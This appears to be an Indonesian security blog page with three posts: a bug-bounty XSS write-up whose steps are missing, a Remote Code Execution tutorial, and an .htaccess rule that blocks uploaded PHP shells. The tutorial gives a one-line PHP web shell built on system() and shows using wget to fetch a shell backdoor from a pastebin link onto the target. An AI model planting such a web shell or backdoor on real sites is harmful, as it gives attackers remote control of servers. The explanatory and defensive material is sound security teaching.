Bug Bounty : Reflected XSS / Cross Site Scripting pada Instagram Tools yang dibuat oleh Teguh Aprianto. - Pada artikel kali ini saya akan membahas Bug Bounty dari Bpk Teguh Aprianto beliau merupakan Founder & Contributor Ethical Hacker Indonesia, namanya telah dikenal luas oleh para kalangan cyber.

Sebenarnya Dia tidak membuka Bug Bounty tapi tangan saya yang iseng ini gatal rasanya ingin mengetest keamanan pada toolsnya jadi apa salahnya kalau saya coba? hehe, dan selang beberapa menit saya pun langsung menemukan bug Reflected XSS pada Halaman Instagram Profile Lookup, gausah ngomong panjang lebar langsung saja lihat stepnya dibawah.


Jadi, berawal dari saya melihat postingan Facebook dari Bpk Teguh pada jam setengah 8 ( kurang lebih )



Reward :

• Raspberry
• Kaos Ethical Hacker Indonesia

Sekian saja write up kali ini, saya hanya bisa menyampaikan seperti ini, mohon maaf kalau bahasa yang saya gunakan tidak bagus, semoga bermanfaat untuk kalian semu, jika ada yang ingin ditanyakan langsung saja bertanya di kolom komentar.

Naufal Ardhani - Hallo gaes dah lama nih engga update artikel diblog ini karna gasempet buat nulis waktunya keambil terus sama kegiatan lain hehe , Kali ini Saya akan membahas sebuah metode yang bernama Remote Code Execution atau biasa disebut RCE.



Mungkin anda belum tau lebih jelas metode ini Apa itu Remote Code Execution? dan Bagaimana Remote Code Execution itu bekerja? silahkan simak ya ada dibawah jawabannya.



Apa itu Remote Code Execution?

Bagaimana Remote Code Execution itu bekerja?

 Script PHP Remote Code Execution sederhana :

<?php echo "RemoteCodeExecution | www.naufalardhani.com<br><br><br>"; $cmd=$_GET['action']; echo "Command : " . $cmd . "<br><br>"; system($cmd); ?>

1. Saya membuka link http://localhost:8888/tools.php ( contoh target )
   
2. Dan saya menambahkan ?action= setelah http://localhost:8888/tools.php untuk melakukan Remote Code Execution, jadi seperti berikut linknya http://localhost:8888/tools.php?action= dan saya mencoba menjalankan command ls untuk melihat isi directory, http://localhost:8888/tools.php?action=ls dan terdapat 1 folder dan 3 file.
   
3. Lalu sang Attacker mencoba memanggil Shell Backdoor RESET dengan command wget, seperti ini commandnya "wget linkshell -O namafile.php", http://localhost:8888/tools.php?action=wget https://pastebin.com/raw/**** -O reset.php
4. lalu kita cek Shellnya, http://localhost:8888/reset.php
   

Naufal Ardhani - Hello kali ini saya bakal membagikan code anti Access Uploader yang biasanya untuk menutup akses bagi para defacer yang ingin mengdeface web tertentu, .htaccess ini sangat berguna bagi para web developer yang ingin web keamanannya terjaga, dengan ini jika sang hacker ingin mengupload shell backdoor tidak akan bisa walaupun mencoba bypass extnya.

 
 
 
#BEGIN ANTI UPLOADER

<FilesMatch "\.(php|php.J|PHP|PhP|php1|php2|php3|PHP3|PhP3|php4|php5|PHP5|PhP5|php6|php7|php8|php9|phtml|PHTML|aspx|ASPX|asp|ASP|php.jpg|PHP.JPG|php.xxxjpg|PHP.XXXJPG|php.jpeg|PHP.JPG|PHP.JPEG|PHP.PJEPG|php.pjpeg|php.fla|PHP.FLA|php.png|PHP.PNG|php.gif|PHP.GIF|php.test|php;.jpg|PHP JPG|PHP;.JPG|php;.jpeg|php jpg|php.bak|php.pdf|php.xxxpdf|php.xxxpng|php.xxxgif|php.xxxpjpeg|php.xxxjpeg|php3.xxxjpeg|php3.xxxjpg|php5.xxxjpg|php3.pjpeg|php5.pjpeg|shtml|php.unknown|php.doc|php.docx|php.pdf|php.ppdf|jpg.PhP|php.txt|php.xxxtxt|PHP.TXT|PHP.XXXTXT|php.xlsx|php.zip|php.xxxzip)$">
Order Allow,Deny
Deny from all
</FilesMatch>

#END ANTI UPLOADER

[+]Step pemasangan
 [1]Save kode diatas dengan nama .htaccess
 [2]Upload, Taruh htaccess di folder tujuan uploader (jangan asal pasang)
 [3]Done
[~]Pasangnya jangan di directory yang ada format .php / .phtml / .php1 - .php7 (liat sendiri aja ekstensinya :v )